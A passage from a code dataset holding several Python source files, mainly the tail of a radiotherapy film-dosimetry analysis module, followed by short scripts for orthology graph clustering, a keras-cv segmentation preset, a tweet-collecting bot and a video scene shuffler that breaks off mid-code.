position.\n\n Parameters\n ----------\n ax : matplotlib.pyplot axe object, optional\n Axis in which to plot the graph.\n If None, a new plot is made.\n Default is None\n\n profile : 'x' or 'y'\n The orientation of the profile to plot (x: horizontal, y: vertical)\n Default is 'x'\n\n position : int, optional\n The position of the profile to plot, in pixels, in the direction perpendicular to the profile.\n eg. if profile='x' and position=400, a profile in the x direction is showed, at position y=400.\n If None, position is set to the center of the reference dose.\n Default is None\n\n title : str, optional\n The title to display on the graph.\n If None, the tile is set automatically to display profile direction and position\n Default is None\n\n diff : bool, optional\n If True, the difference in profiles (film - reference) is displayed\n Default is False\n\n offset : int, optional\n If a known offset exists between the film and the reference dose, the plotted profile can be shifted\n to account for this offset. For example, a film exposed at a fixed gantry angle coud have a known \n offset due to gantry sag, and you could want to correct for it on the profile.\n Default is 0 mm\n \"\"\" \n\n film = self.film_dose.array\n ref = self.ref_dose.array\n if profile == 'x':\n if position is None:\n position = np.floor(self.ref_dose.shape[0] / 2).astype(int)\n film_prof = film[position,:]\n ref_prof = ref[position,:]\n x_axis = (np.array(range(0, len(film_prof))) / self.film_dose.dpmm).tolist()\n elif profile == 'y':\n if position is None:\n position = np.floor(self.ref_dose.shape[1] / 2).astype(int)\n film_prof = film[:,position]\n ref_prof = ref[:,position]\n x_axis = (np.array(range(0, len(film_prof))) / self.film_dose.dpmm).tolist()\n \n if ax is None:\n fig, ax = plt.subplots() \n ax.clear()\n ax.plot([i+offset for i in x_axis], film_prof,'r-', linewidth=2)\n ax.plot(x_axis, ref_prof,'b--', linewidth=2)\n \n if title is None:\n if profile == 'x': title='Profile horizontal (y={})'.format(position)\n if profile == 'y': title='Profile vertical (x={})'.format(position)\n ax.set_title(title)\n ax.set_xlabel('Position (mm)')\n ax.set_ylabel('Dose (cGy)')\n \n if diff:\n diff_prof = film_prof - ref_prof\n ax.plot(x_axis, diff_prof,'g-', linewidth=2)\n \n \n def show_results(self, fig=None, x=None, y=None): \n \"\"\" Display an interactive figure showing the results of a gamma analysis.\n The figure contains 6 axis, which are, from left to right and top to bottom:\n Film dose, reference dose, gamma map, relative error, x profile and y profile.\n\n Parameters\n ----------\n fig : matplotlib.pyplot figure object, optional\n Figure in which to plot the graph.\n If None, a new figure is made.\n Default is None\n\n x, y : int, optional\n Initial x/y coordinates of the profiles.\n If None, profile will be at image center.\n Default is None\n\n\n \"\"\"\n a = None\n if x is None:\n x = np.floor(self.ref_dose.shape[1] / 2).astype(int)\n elif x == 'max':\n a = np.unravel_index(self.ref_dose.array.argmax(), self.ref_dose.array.shape)\n x = a[1]\n if y is None:\n y = np.floor(self.ref_dose.shape[0] / 2).astype(int)\n elif y == 'max':\n if a is None:\n a = np.unravel_index(self.ref_dose.array.argmax(), self.ref_dose.array.shape)\n y = a[0]\n \n fig, ((ax1,ax2),(ax3,ax4),(ax5,ax6)) = plt.subplots(3,2, figsize=(10, 8))\n fig.tight_layout()\n axes = [ax1,ax2,ax3,ax4,ax5,ax6]\n max_dose_comp = np.percentile(self.ref_dose.array,[98])[0].round(decimals=-1)\n clim = [0, max_dose_comp] \n\n self.film_dose.plotCB(ax1, clim=clim, title='Film dose')\n self.ref_dose.plotCB(ax2, clim=clim, title='Reference dose')\n self.GammaMap.plotCB(ax3, clim=[0,2], cmap='bwr', title='Gamma map ({:.2f}% pass; {:.2f} mean)'.format(self.GammaMap.passRate, self.GammaMap.mean))\n ax3.set_facecolor('k')\n min_value = max(-20, np.percentile(self.DiffMap.array,[1])[0].round(decimals=0))\n max_value = min(20, np.percentile(self.DiffMap.array,[99])[0].round(decimals=0))\n clim = [min_value, max_value] \n self.RelError.plotCB(ax4, cmap='jet', clim=clim, title='Relative Error (%) (RMSE={:.2f})'.format(self.DiffMap.RMSE))\n self.show_profiles(axes, x=x, y=y)\n \n fig.canvas.mpl_connect('button_press_event', lambda event: self.set_profile(event, axes))\n \n def show_profiles(self, axes, x, y):\n \"\"\" This function is called by show_results and set_profile to draw dose profiles\n at a given x/y coordinates, and draw lines on the dose distribution maps\n to show where the profile is taken.\n \"\"\"\n\n self.plot_profile(ax=axes[-2], profile='x', title='Horizontal profile (y={})'.format(y), position=y)\n self.plot_profile(ax=axes[-1], profile='y', title='Vertical profile (x={})'.format(x), position=x)\n \n for i in range(0,4):\n ax = axes[i]\n while len(ax.lines) > 0:\n ax.lines[-1].remove()\n ax.plot((x,x),(0,self.ref_dose.shape[0]),'w--', linewidth=1)\n ax.plot((0,self.ref_dose.shape[1]),(y,y),'w--', linewidth=1) \n plt.multi = MultiCursor(None, (axes[0],axes[1],axes[2],axes[3]), color='r', lw=1, horizOn=True)\n plt.show()\n \n def set_profile(self, event, axes):\n \"\"\" This function is called by show_results to draw dose profiles\n on mouse click (if cursor is not set to zoom or pan).\n \"\"\"\n\n try:\n zooming_panning = ( plt.gcf().canvas.cursor().shape() != 0 ) # 0 is the arrow, which means we are not zooming or panning.\n except:\n zooming_panning = False\n if zooming_panning: \n return\n if event.inaxes in axes[0:4]:\n if event.button == 1:\n x = int(event.xdata)\n y = int(event.ydata)\n self.show_profiles(axes,x=x, y=y)\n plt.gcf().canvas.draw_idle()\n \n def register(self, shift_x=0, shift_y=0, threshold=10, register_using_gradient=False, markers_center=None, rot=0):\n \"\"\" Starts the registration procedure between film and reference dose.\n\n Parameters\n ----------\n shift_x / shift_y : float, optional\n Apply a known shift [mm] in the x/y direction between reference dose and film dose. \n Used if there is a known shift between the registration point in the reference image and the film image.\n Default is 0\n\n threshold : int, optional\n Threshold value [cGy] used in detecting film edges for auto-cropping.\n Default is 10\n\n register_using_gradient : bool, optional\n Determine if the registration results (overlay of film/ref dose) will be displayed \n after applying a sobel filter to improve visibility of strong dose gradients.\n Default is False\n\n markers_center : list of 3 floats, optional\n Coordinates [mm] in the reference dose corresponding to the marks intersection on the film (R-L, I-S, P-A).\n It will be used to align the reference point on the film (given by the intersection of the two lines\n determined by the four marks made on the edges of the film) to an absolute position in the reference dose.\n If None, the film reference point will be positioned to the center of the reference dose.\n Default is None\n\n rot : float, optional\n Apply a known rotation [degrees] between reference dose and film dose. \n Used if the markers on the reference image are known to be not perfectly aligned\n in an horizontal/vertical line.\n Default is 0\n\n \"\"\"\n self.register_using_gradient = register_using_gradient\n self.shifts = [shift_x, shift_y]\n self.rot = rot\n self.markers_center = markers_center\n if threshold > 0 :\n self.film_dose.crop_edges(threshold=threshold)\n print('Please double-click on each marker. Press ''enter'' when done')\n print('Keyboard shortcuts: Right arrow = Rotate 90 degrees; Left arrow = Flip horizontally; Up arrow = Flip vertically')\n self.film_dose.plot()\n self.select_markers()\n \n def select_markers(self):\n \"\"\" This function is called by self.register() to start the interactive plot\n where the 4 markes on the film must be identified.\n \"\"\"\n self.fig = plt.gcf()\n self.markers = []\n ax = plt.gca()\n ax.set_title('Marker 1 = ; Marker 2 = ; Marker 3 = ; Marker 4 = ')\n self.fig.canvas.mpl_connect('button_press_event', self.onclick)\n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.ontype)\n cursor = Cursor(ax, useblit=True, color='white', linewidth=1)\n plt.show()\n \n self.wait = True\n while self.wait: plt.pause(5)\n \n def onclick(self, event):\n \"\"\" This function is called by self.select_markers() to set the markers\n coordinates when the mouse is double-cliked.\n \"\"\"\n ax = plt.gca()\n if event.dblclick:\n l = 20\n self.markers.append([int(event.xdata), int(event.ydata)])\n if len(self.markers)==1:\n ax.plot((self.markers[0][0]-l,self.markers[0][0]+l),(self.markers[0][1],self.markers[0][1]),'w', linewidth=1)\n ax.plot((self.markers[0][0],self.markers[0][0]),(self.markers[0][1]-l,self.markers[0][1]+l),'w', linewidth=1)\n ax.set_title('Marker 1 = {}; Marker 2 = ; Marker 3 = ; Marker 4 = '.format(self.markers[0]))\n if len(self.markers)==2:\n ax.plot((self.markers[1][0]-l,self.markers[1][0]+l),(self.markers[1][1],self.markers[1][1]),'w', linewidth=1)\n ax.plot((self.markers[1][0],self.markers[1][0]),(self.markers[1][1]-l,self.markers[1][1]+l),'w', linewidth=1)\n ax.set_title('Marker 1 = {}; Marker 2 = {}; Marker 3 = ; Marker 4 = '.format(self.markers[0], self.markers[1]))\n if len(self.markers)==3:\n ax.plot((self.markers[2][0]-l,self.markers[2][0]+l),(self.markers[2][1],self.markers[2][1]),'w', linewidth=1)\n ax.plot((self.markers[2][0],self.markers[2][0]),(self.markers[2][1]-l,self.markers[2][1]+l),'w', linewidth=1)\n ax.set_title('Marker 1 = {}; Marker 2 = {}; Marker 3 = {}; Marker 4 = '.format(self.markers[0], self.markers[1], self.markers[2]))\n if len(self.markers)==4:\n ax.plot((self.markers[3][0]-l,self.markers[3][0]+l),(self.markers[3][1],self.markers[3][1]),'w', linewidth=1)\n ax.plot((self.markers[3][0],self.markers[3][0]),(self.markers[3][1]-l,self.markers[3][1]+l),'w', linewidth=1)\n ax.set_title('Marker 1 = {}; Marker 2 = {}; Marker 3 = {}; Marker 4 = {}'.format(self.markers[0], self.markers[1], self.markers[2], self.markers[3]))\n plt.gcf().canvas.draw_idle()\n \n def ontype(self, event):\n \"\"\" This function is called by self.select_markers() to continue the registration\n process when \"enter\" is pressed on the keyboard.\n \"\"\"\n fig = plt.gcf()\n ax = plt.gca()\n ax.clear()\n if event.key == 'right':\n self.film_dose.array = np.rot90(self.film_dose.array, k=1)\n self.film_dose.plot(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'left':\n self.film_dose.array = np.fliplr(self.film_dose.array)\n self.film_dose.plot(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'up':\n self.film_dose.array = np.flipud(self.film_dose.array)\n self.film_dose.plot(ax=ax)\n fig.canvas.draw_idle()\n \n if event.key == 'enter':\n if len(self.markers) != 4:\n print('')\n print('Please start over...')\n print('{} markers were selected when 4 were expected...'.format(len(self.markers)))\n print('Please double-click on each marker. Press ''enter'' when done')\n self.markers = []\n ax = plt.gca()\n self.film_dose.plot(ax=ax)\n ax.set_title('Top= ; Right= ; Bottom= ; Left= ')\n fig.canvas.draw_idle()\n else:\n self.fig.canvas.mpl_disconnect(self.cid)\n plt.close(self.fig)\n \n self.move_iso_center()\n self.remove_rotation()\n if self.ref_dose is not None:\n self.apply_shifts_ref()\n \n if self.rot:\n self.film_dose.rotate(self.rot)\n self.tune_registration()\n return\n \n def move_iso_center(self):\n \"\"\" Register the film dose and reference dose by moving the reference\n point to the center of the image (by padding).\n The reference point is given by the intersection of the two lines\n connecting the two markers on opposite side of the film, and\n by absolute coordinates in the stored in self.markers_center\n for the reference dose.\n \"\"\"\n \n # Find the indices of markers on top, bottom, left, right of the film.\n x, y = [m[0] for m in self.markers], [m[1] for m in self.markers]\n t, b = y.index(min(y)), y.index(max(y))\n l, r = x.index(min(x)), x.index(max(x))\n \n # Find intersection of the lines top-bottom and left-right\n # and set the reference point (x0, y0).\n line1 = ((x[t],y[t]),(x[b],y[b]))\n line2 = ((x[r],y[r]),(x[l],y[l]))\n (x0,y0) = line_intersection(line1, line2)\n \n self.x0 = int(np.around(x0))\n self.y0 = int(np.around(y0))\n \n # Make (x0, y0) the center of image by padding\n self.film_dose.move_pixel_to_center(x0, y0) \n \n # Move the reference point in the reference dose to the center\n # NOTE: This section is made to work with planar dose exported from RayStation\n # in DICOM format. It will probably need to be changed if you use a different TPS.\n if self.markers_center is not None:\n self.ref_dose.position = [float(i) for i in self.ref_dose.metadata.ImagePositionPatient]\n self.ref_dose.sizeX = self.ref_dose.metadata.Columns\n self.ref_dose.sizeY = self.ref_dose.metadata.Rows\n self.ref_dose.orientation = self.ref_dose.metadata.SeriesDescription\n\n if 'Transversal' in self.ref_dose.orientation:\n x_corner = self.ref_dose.position[0]\n y_corner = -1.0 * self.ref_dose.position[1]\n x_marker = self.markers_center[0]\n y_marker = self.markers_center[2]\n x_pos_mm = x_marker - x_corner\n y_pos_mm = y_corner - y_marker\n x0 = int(np.around(x_pos_mm * self.ref_dose.dpmm))\n y0 = int(np.around(y_pos_mm * self.ref_dose.dpmm))\n\n if 'Sagittal' in self.ref_dose.orientation:\n x_corner = -1.0 * self.ref_dose.position[1]\n y_corner = self.ref_dose.position[2]\n x_marker = self.markers_center[2]\n y_marker = self.markers_center[1]\n x_pos_mm = x_marker - x_corner\n y_pos_mm = y_marker - y_corner\n x0 = self.ref_dose.sizeX + int(np.around(x_pos_mm * self.ref_dose.dpmm))\n y0 = self.ref_dose.sizeY - int(np.around(y_pos_mm * self.ref_dose.dpmm))\n\n if 'Coronal' in self.ref_dose.orientation:\n x_corner = self.ref_dose.position[0]\n y_corner = self.ref_dose.position[2]\n x_marker = self.markers_center[0]\n y_marker = self.markers_center[1]\n x_pos_mm = x_marker - x_corner\n y_pos_mm = y_marker - y_corner\n x0 = int(np.around(x_pos_mm * self.ref_dose.dpmm))\n y0 = self.ref_dose.sizeY - int(np.around(y_pos_mm * self.ref_dose.dpmm))\n\n self.ref_dose.move_pixel_to_center(x0, y0)\n\n def remove_rotation(self):\n \"\"\" Rotates the film around the center so that left/right\n and top/bottom markers are horizontally and vertically aligned. \n \"\"\"\n x, y = [m[0] for m in self.markers], [m[1] for m in self.markers]\n t, b = y.index(min(y)), y.index(max(y))\n l, r = x.index(min(x)), x.index(max(x))\n \n # Find rotation angle\n angle1 = math.degrees( math.atan( (x[b]-x[t]) / (y[b]-y[t]) ) )\n angle2 = math.degrees( math.atan( (y[l]-y[r]) / (x[r]-x[l]) ) )\n \n # Appy inverse rotation\n angleCorr = -1.0*(angle1+angle2)/2\n print('Applying a rotation of {} degrees'.format(angleCorr))\n self.film_dose.rotate(angleCorr)\n \n def apply_shifts_ref(self):\n \"\"\" Apply shifts given in self.shifts by padding the reference image.\n \"\"\"\n pad_x_pixels = int(round(self.shifts[0] * self.ref_dose.dpmm )) *2\n pad_y_pixels = int(round(self.shifts[1] * self.ref_dose.dpmm )) *2\n \n if pad_x_pixels > 0:\n self.ref_dose.pad(pixels=pad_x_pixels, value=0, edges='left')\n if pad_x_pixels < 0:\n self.ref_dose.pad(pixels=abs(pad_x_pixels), value=0, edges='right')\n if pad_y_pixels > 0:\n self.ref_dose.pad(pixels=pad_y_pixels, value=0, edges='top')\n if pad_y_pixels < 0:\n self.ref_dose.pad(pixels=abs(pad_y_pixels), value=0, edges='bottom')\n \n def tune_registration(self): \n \"\"\" Starts the registration fine tuning process.\n The registered film and reference image are displayed superposed.\n User can adjust the registration using keyboard shortcuts.\n Arrow keys will move the film dose in one pixel increments.\n Ctrl+left/right will rotate the film dose by 0.1 degrees counterclockwise/clockwise.\n \"\"\"\n if self.ref_dose is None:\n self.ref_dose = self.film_dose\n film_dose_path = self.film_dose.path\n ref_dose_path = self.ref_dose.path\n \n (self.film_dose, self.ref_dose) = equate_images(self.film_dose, self.ref_dose)\n self.film_dose.path = film_dose_path\n self.ref_dose.path = ref_dose_path\n print('Fine tune registration using keyboard if needed. Arrow keys = move; ctrl+left/right = rotate. Press enter when done.')\n self.fig = plt.figure()\n ax = plt.gca()\n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.reg_ontype)\n img_array = self.film_dose.array - self.ref_dose.array\n min_max = [np.percentile(img_array,[1])[0].round(decimals=-1), np.percentile(img_array,[99])[0].round(decimals=-1)] \n lim = abs(max(min_max, key=abs))\n self.clim = [-1.0*lim, lim]\n self.show_registration(ax=ax)\n \n def show_registration(self, ax=None, cmap='bwr'):\n \"\"\" This function is used by self.tune_registration() for showing\n the superposition of the film and reference dose.\n If self.register_using_gradient is set to True, a sobel filter is applied\n to both reference and film dose in order to increase dose gradients visibility.\n \"\"\"\n if ax==None:\n plt.plot()\n ax = plt.gca()\n ax.clear()\n \n if self.register_using_gradient:\n ref_x = spf.sobel(self.ref_dose.as_type(np.float32), 1)\n ref_y = spf.sobel(self.ref_dose.as_type(np.float32), 0)\n ref_grad = np.hypot(ref_x, ref_y)\n film_x = spf.sobel(self.film_dose.as_type(np.float32), 1)\n film_y = spf.sobel(self.film_dose.as_type(np.float32), 0)\n film_grad = np.hypot(film_x, film_y)\n img_array = film_grad - ref_grad\n else:\n img_array = self.film_dose.array - self.ref_dose.array\n img = load(img_array, dpi=self.film_dose.dpi) \n RMSE = (sum(sum(img.array**2)) / len(self.film_dose.array[(self.film_dose.array > 0)]))**0.5\n \n #clim = [np.percentile(img_array,[1])[0].round(decimals=-1), np.percentile(img_array,[99])[0].round(decimals=-1)] \n img.plot(ax=ax, clim=self.clim, cmap=cmap) \n ax.plot((0, img.shape[1]), (img.center.y, img.center.y),'k--')\n ax.plot((img.center.x, img.center.x), (0, img.shape[0]),'k--')\n ax.set_xlim(0, img.shape[1])\n ax.set_ylim(img.shape[0],0)\n ax.set_title('Fine tune registration. Arrow keys = move; ctrl+left/right = rotate. Press enter when done. RMSE = {}'.format(RMSE))\n \n def reg_ontype(self, event):\n \"\"\" Thie function is called by self.tune_registration() to apply translations\n and rotations, and to end the registration process when Enter is pressed.\n \"\"\"\n fig = plt.gcf()\n ax = plt.gca()\n if event.key == 'up':\n self.film_dose.roll(direction='y', amount=-1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'down':\n self.film_dose.roll(direction='y', amount=1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'left':\n self.film_dose.roll(direction='x', amount=-1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'right':\n self.film_dose.roll(direction='x', amount=1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'ctrl+right':\n self.film_dose.rotate(-0.1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'ctrl+left':\n self.film_dose.rotate(0.1)\n self.show_registration(ax=ax)\n fig.canvas.draw_idle()\n if event.key == 'enter':\n self.fig.canvas.mpl_disconnect(self.cid)\n plt.close(self.fig)\n self.wait = False\n return\n \n def save_analyzed_image(self, filename, x=None, y=None, **kwargs):\n \"\"\"Save the analyzed image to a file. \"\"\"\n self.show_results(x=x, y=y)\n fig = plt.gcf()\n fig.savefig(filename)\n plt.close(fig)\n \n def save_analyzed_gamma(self, filename, **kwargs):\n \"\"\"Save the analyzed gamma to a file. \"\"\"\n self.plot_gamma_stats(**kwargs)\n fig = plt.gcf()\n fig.savefig(filename)\n plt.close(fig)\n \n def publish_pdf(self, filename=None, author=None, unit=None, notes=None, open_file=False, x=None, y=None, **kwargs):\n \"\"\"Publish a PDF report of the calibration. The report includes basic\n file information, the image and determined ROIs, and the calibration curves\n\n Parameters\n ----------\n filename : str\n The path and/or filename to save the PDF report as; must end in \".pdf\".\n author : str, optional\n The person who analyzed the image.\n unit : str, optional\n The machine unit name or other identifier (e.g. serial number).\n notes : str, list of strings, optional\n If a string, adds it as a line of text in the PDf report.\n If a list of strings, each string item is printed on its own line. Useful for writing multiple sentences.\n \"\"\"\n if filename is None:\n filename = os.path.join(self.path, 'Report.pdf')\n title='Film Analysis Report'\n canvas = pdf.PylinacCanvas(filename, page_title=title, logo=Path(__file__).parent / 'OMG_Logo.png')\n canvas.add_text(text='Film infos:', location=(1, 25.5), font_size=12)\n text = ['Film dose: {}'.format(os.path.basename(self.film_dose.path)),\n 'Film dose factor: {}'.format(self.film_dose_factor),\n 'Reference dose: {}'.format(os.path.basename(self.ref_dose.path)),\n 'Reference dose factor: {}'.format(self.ref_dose_factor),\n 'Film filter kernel: {}'.format(self.film_filt),\n 'Gamma threshold: {}'.format(self.threshold),\n 'Gamma dose-to-agreement: {}'.format(self.doseTA),\n 'Gamma distance-to-agreement: {}'.format(self.distTA),\n 'Gamma normalization: {}'.format(self.norm_val)\n ]\n canvas.add_text(text=text, location=(1, 25), font_size=10)\n data = io.BytesIO()\n self.save_analyzed_image(data, x=x, y=y)\n canvas.add_image(image_data=data, location=(0.5, 3), dimensions=(19, 19))\n \n canvas.add_new_page()\n canvas.add_text(text='Analysis infos:', location=(1, 25.5), font_size=12)\n canvas.add_text(text=text, location=(1, 25), font_size=10)\n data = io.BytesIO()\n self.save_analyzed_gamma(data, figsize=(10, 10), **kwargs)\n canvas.add_image(image_data=data, location=(0.5, 2), dimensions=(20, 20))\n\n canvas.finish()\n if open_file: webbrowser.open(filename) \n\n def get_profile_offsets(self):\n \"\"\" Starts an interactive process where the user can move\n the measured profile with respect to the reference profile\n in order to compute the spatial offset between the two.\n The process is repeated four times to get offsets on both\n sides in the x and y directions.\n \"\"\"\n self.get_profile_offset(direction='x', side='left')\n self.offset_x_gauche = self.offset\n self.get_profile_offset(direction='x', side='right')\n self.offset_x_droite = self.offset\n self.get_profile_offset(direction='y', side='left')\n self.offset_y_gauche = self.offset\n self.get_profile_offset(direction='y', side='right')\n self.offset_y_droite = self.offset\n\n def get_profile_offset(self, direction='x', side='left'):\n \"\"\" Opens an interactive plot where the user can move\n the measured profile with respect to the reference profile\n in order to compute the spatial offset between the two.\n\n Parameters\n ----------\n direction : str, optional\n The direction of the profile.\n Either 'x' (horizontal) or 'y' (vertical).\n Default is 'x'.\n side : str, optional\n The side on the profile that will be matched.\n Either 'left' or 'right'.\n Default is left. \n \"\"\"\n msg = 'Use left/right keyboard arrows to move profile and fit on ' + side + ' side. Press Enter when done.'\n print(msg)\n self.offset = 0\n self.direction = direction\n self.plot_profile(profile=direction, diff=True, offset=0, title='Fit profiles on ' + side + ' side')\n self.fig = plt.gcf()\n self.cid = self.fig.canvas.mpl_connect('key_press_event', self.move_profile_ontype)\n self.wait = True\n while self.wait: plt.pause(5)\n \n def move_profile_ontype(self, event):\n \"\"\" This function is called by self.get_profile_offset()\n to either move the profile when left/right keys are pressed,\n or to close the figure when Enter is pressed.\n \"\"\"\n fig = plt.gcf()\n ax = plt.gca()\n \n if event.key == 'left':\n self.offset -= 0.1\n self.plot_profile(ax=ax, profile=self.direction, position=None, title=None, diff=False, offset=self.offset)\n fig.canvas.draw_idle()\n ax.set_title('Shift = ' + str(self.offset) + ' mm')\n \n if event.key == 'right':\n self.offset += 0.1\n self.plot_profile(ax=ax, profile=self.direction, position=None, title=None, diff=False, offset=self.offset)\n fig.canvas.draw_idle()\n ax.set_title('Shift = ' + str(self.offset) + ' mm')\n \n if event.key == 'enter':\n self.fig.canvas.mpl_disconnect(self.cid)\n plt.close(self.fig)\n self.wait = False\n return self.offset\n\n########################### End class DoseAnalysis ############################## \n \ndef line_intersection(line1, line2):\n \"\"\" Get the coordinates of the intersection of two lines.\n\n Parameters\n ----------\n line1 : tuple \n Coordinates of 2 points defining the first line\n line1 = ((x1,y1),(x2,y2))\n line1 : tuple \n Coordinates of 2 points defining the second line\n line1 = ((x1,y1),(x2,y2)) \n\n \"\"\"\n xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])\n ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1])\n\n def det(a, b):\n return a[0] * b[1] - a[1] * b[0]\n\n div = det(xdiff, ydiff)\n if div == 0:\n raise Exception('lines do not intersect')\n\n d = (det(*line1), det(*line2))\n x = det(d, xdiff) / div\n y = det(d, ydiff) / div\n return x, y\n\ndef save_dose(dose, filename):\n dose.filename = filename\n with open(filename, 'wb') as output:\n pickle.dump(dose, output, pickle.HIGHEST_PROTOCOL)\n\ndef load_dose(filename):\n with open(filename, 'rb') as input:\n return pickle.load(input)\n\ndef load_analysis(filename):\n print(\"Loading analysis file {}...\".format(filename))\n try:\n file = bz2.open(filename, 'rb')\n analysis = pickle.load(file)\n except:\n file = open(filename, 'rb')\n analysis = pickle.load(file)\n file.close()\n return analysis\n\ndef save_analysis(analysis, filename, use_compression=True):\n print(\"Saving analysis file as {}...\".format(filename))\n if use_compression:\n file = bz2.open(filename, 'wb')\n else:\n file = open(filename, 'wb')\n pickle.dump(analysis, file, pickle.HIGHEST_PROTOCOL)\n file.close()","repo_name":"jfcabana/omg_dosimetry","sub_path":"src/omg_dosimetry/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":57157,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"29546975066","text":"\"\"\"Find connected components of OG graph.\"\"\"\n\nimport os\nfrom src.ortho_cluster.graphs import get_connected_components\n\n\ndef get_sort_tuple(component):\n return len(component), sorted(component)\n\n\n# Load graph\ngraph = {}\nwith open('../OGs2graph/out/OG_graph.tsv') as file:\n for line in file:\n node, adjs = line.rstrip('\\n').split('\\t')\n graph[node] = [adj.split(':')[0] for adj in adjs.split(',')] if adjs else []\n\n# Find connected components\ncomponents = get_connected_components(graph)\ncomponents = sorted(components, key=get_sort_tuple, reverse=True)\n\n# Write components to file\nif not os.path.exists('out/'):\n os.mkdir('out/')\n\nwith open('out/components.tsv', 'w') as file:\n file.write('GGid\\tOGids\\n')\n for i, component in enumerate(components):\n GGid = f'{i:04X}' # Uppercase hex, zero-padded to 4\n nodestring = ','.join(component)\n file.write(f'{GGid}\\t{nodestring}\\n')\n\n\"\"\"\nDEPENDENCIES\n../OGs2graph/OGs2graph.py\n ../OGs2graph/out/OG_graph.tsv\n\"\"\"","repo_name":"marcsingleton/orthology_inference2023","sub_path":"analysis/ortho_cluster2/connect_OG_graph/connect_OG_graph.py","file_name":"connect_OG_graph.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"5865401429","text":"from keras_cv.models.backbones.resnet_v2 import resnet_v2_backbone_presets\n\ndeeplab_v3_plus_presets = {\n \"deeplab_v3_plus_resnet50_pascalvoc\": {\n \"metadata\": {\n \"description\": (\n \"DeeplabV3Plus with a ResNet50 v2 backbone. \"\n \"Trained on PascalVOC 2012 Semantic segmentation task, which \"\n \"consists of 20 classes and one background class. This model \"\n \"achieves a final categorical accuracy of 89.34% and mIoU of \"\n \"0.6391 on evaluation dataset.\"\n ),\n \"params\": 39191488,\n \"official_name\": \"DeepLabV3Plus\",\n \"path\": \"deeplab_v3_plus\",\n },\n \"config\": {\n \"backbone\": resnet_v2_backbone_presets.backbone_presets[\n \"resnet50_v2_imagenet\"\n ],\n # 21 used as an implicit background class marginally improves\n # performance.\n \"num_classes\": 21,\n },\n \"weights_url\": \"https://storage.googleapis.com/keras-cv/models/deeplab_v3_plus/voc/deeplabv3plus_resenet50_pascal_voc.weights.h5\", # noqa: E501\n \"weights_hash\": \"9681410a57bea2bc5cb7d79a1802d872ac263faab749cfe5ffdae6d6c3082041\", # noqa: E501\n },\n}\n","repo_name":"keras-team/keras-cv","sub_path":"keras_cv/models/segmentation/deeplab_v3_plus/deeplab_v3_plus_presets.py","file_name":"deeplab_v3_plus_presets.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"67"} +{"seq_id":"22859473669","text":"from database import Database\nfrom api import API\nimport json\nimport subprocess\n\n\nclass Bot:\n def __init__(self, database_path):\n self.database = Database(database_path)\n self.api = API()\n self.criteria = None\n\n def load_criteria(self, path=\"search_criteria.json\"):\n \"\"\"\n\n :param path:\n Load the criteria\n \"\"\"\n with open(path) as file:\n self.criteria = json.loads(file.read())\n\n def fetch_api(self):\n \"\"\"\n\n Fetch the api\n \"\"\"\n if self.criteria is None:\n self.load_criteria()\n for criterion in self.criteria:\n self.database.add_tweets(self.api.get_tweets(criterion))\n\n\nif __name__ == \"__main__\":\n bot = Bot(\"president\")\n bot.fetch_api()\n bot.database.conn.close()\n list()\n","repo_name":"PhoqueEberlue/opinion-publique","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13181265377","text":"import os\nimport sys, csv\nimport random\n\nimport scenedetect\nfrom scenedetect.video_manager import VideoManager\nfrom scenedetect.scene_manager import SceneManager\nfrom scenedetect.frame_timecode import FrameTimecode\nfrom scenedetect.stats_manager import StatsManager\nfrom scenedetect.detectors import ContentDetector\n\nimport ffmpeg\n\nSTATS_FILE_PATH = 'stats.csv'\n\ndef main():\n \n for root, dirs, files in os.walk('material'):\n for file in files:\n file = os.path.join(root, file)\n\n video_manager = VideoManager([file])\n stats_manager = StatsManager()\n scene_manager = SceneManager(stats_manager)\n scene_manager.add_detector(ContentDetector())\n base_timecode = video_manager.get_base_timecode()\n end_timecode = video_manager.get_duration()\n\n start_time = base_timecode\n end_time = end_timecode[2]\n\n video_manager.set_duration(start_time=start_time, end_time=end_time)\n video_manager.set_downscale_factor()\n video_manager.start()\n scene_manager.detect_scenes(frame_source=video_manager)\n\n scene_list = scene_manager.get_scene_list(base_timecode)\n\n if stats_manager.is_save_required():\n with open(STATS_FILE_PATH, 'w') as stats_file:\n stats_manager.save_to_csv(stats_file, base_timecode)\n\n\n print('List of scenes obtained:')\n for i, scene in enumerate(scene_list):\n print(' Scene %2d: Start %s / Frame %d, End %s / Frame %d' % (\n i+1,\n scene[0].get_timecode(), scene[0].get_frames(),\n scene[1].get_timecode(), scene[1].get_frames(),))\n\n raw = ffmpeg.input(file)\n\n start = scene[0].get_timecode()\n end = scene[1].get_timecode()\n\n audio = (\n raw\n .filter_('atrim', start=start, end=end)\n .filter_('asetpts', 'PTS-STARTPTS')\n )\n\n raw = ffmpeg.trim(raw, start=start, end=end)\n raw = raw.setpts('PTS-STARTPTS')\n\n joined = ffmpeg.concat(raw, audio, v=1, a=1).node\n stream = ffmpeg.output(joined[0], joined[1], 'scene%d.mp4' % (i+1)) \n stream.run()\n\n shuffled = sorted(scene_list, key=lambda k: random.random())\n\n stream = 0\n video_list = []\n audio_list = []\n merge_list = []\n raw = ffmpeg.input(file)\n\n for i, scene in enumerate(shuffled):\n start = scene[0].get_timecode()\n end = scene[1].get_timecode()\n\n audio = (\n raw\n .filter_('atrim', start=start, 